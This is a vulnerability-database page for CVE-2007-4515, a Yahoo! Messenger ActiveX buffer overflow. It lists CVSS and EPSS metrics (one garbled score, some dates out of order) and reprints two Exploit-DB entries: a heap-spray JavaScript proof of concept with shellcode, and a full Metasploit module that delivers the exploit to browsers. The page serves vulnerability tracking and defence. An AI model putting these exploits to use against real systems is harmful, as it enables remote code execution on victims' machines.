CVE-2007-4515

CVE Descriptions

Buffer overflow in a certain ActiveX control in YVerInfo.dll before 2007.8.27.1 in the Yahoo! services suite for Yahoo! Messenger before 8.1.0.419 allows remote attackers to execute arbitrary code via unspecified vectors involving arguments to the (1) fvCom and (2) info methods. NOTE: some of these details are obtained from third party information.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-119	Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	9.3		AV:N/AC:M/Au:N/C:C/I:C/A:C	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	76.48%	–	–
2023-03-12	–	–	–	88.2%	–
2023-04-16	–	–	–	88.23%	–
2023-05-28	–	–	–	89.46%	–
2023-12-31	–	–	–	89.46%	–
2024-02-04	–	–	–	85.88%	–
2024-04-07	–	–	–	85.88%	–
2024-06-02	–	–	–	84.39%	–
2024-07-07	–	–	–	85.03%	–
2024-10-27	–	–	–	87.52%	–
2024-12-08	–	–	–	87.72%	–
2024-12-22	–	–	–	91.64%	–
2025-01-26	–	–	–	90.24%	–
2025-03-16	–	–	–	89.42%	–
2025-01-19	–	–	–	91.64%	–
2025-01-25	–	–	–	90.24%	–
2025-03-18	–	–	–	–	57.34%
2025-03-30	–	–	–	–	58.96%
2025-03-30	–	–	–	–	58.96,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	99%
2023-03-12	98%
2023-04-16	98%
2023-05-28	98%
2023-12-31	99%
2024-02-04	98%
2024-04-07	99%
2024-06-02	99%
2024-07-07	99%
2024-10-27	99%
2024-12-08	99%
2024-12-22	99%
2025-01-26	99%
2025-03-16	99%
2025-01-19	99%
2025-01-25	99%
2025-03-18	98%
2025-03-30	98%
2025-03-30	98%

Exploit information

Exploit Database EDB-ID : 4351

Publication date : 2007-08-31 22h00 +00:00
Author : minhbq
EDB Verified : Yes

<html>  <object classid="CLSID:D5184A39-CBDF-4A4F-AC1A-7A45A852C883" id="target"></OBJECT> <SCRIPT language="javascript"> // HeapSpray - execute calculator shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063"); bigblock = unescape("%u9090%u9090"); headersize = 20; slackspace = headersize+shellcode.length while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; memory = new Array(); for (i=0;i<800;i++) memory[i] = block + shellcode; var buffer = unescape("%0D"); while (buffer.length< 10000) buffer+=unescape("%0D"); // Vulnerability of method fvcom target.fvcom(buffer); </script> </html> # milw0rm.com [2007-09-01]

Exploit Database EDB-ID : 16522

Publication date : 2010-05-08 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: yahoomessenger_fvcom.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Yahoo! Messenger YVerInfo.dll ActiveX Control Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the Yahoo! Messenger ActiveX Control (YVerInfo.dll <= 2006.8.24.1). By sending a overly long string to the "fvCom()" method from a yahoo.com domain, an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'Version' => '$Revision: 9262 $', 'References' => [ [ 'CVE', '2007-4515' ], [ 'OSVDB', '37739' ], [ 'BID', '25494' ], [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=591' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 800, 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP2 Pro English', { 'Ret' => 0x7cc58fd8 } ], # Tested on fully patched XPSP2 9/29/07 ], 'DisclosureDate' => 'Aug 30 2007', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Randomize some things vname = rand_text_alpha(rand(100) + 1) strname = rand_text_alpha(rand(100) + 1) # Set the exploit buffer sploit = rand_text_english(411) + [target.ret].pack('V') sploit << p.encoded + rand_text_english(payload.encoded.length) # Build out the message content = %Q| <html> <object classid='clsid:D5184A39-CBDF-4A4F-AC1A-7A45A852C883' id='#{vname}'></object> <script language='javascript'> #{strname} = new String('#{sploit}'); #{vname}.fvcom(#{strname}); </script> </html> | print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end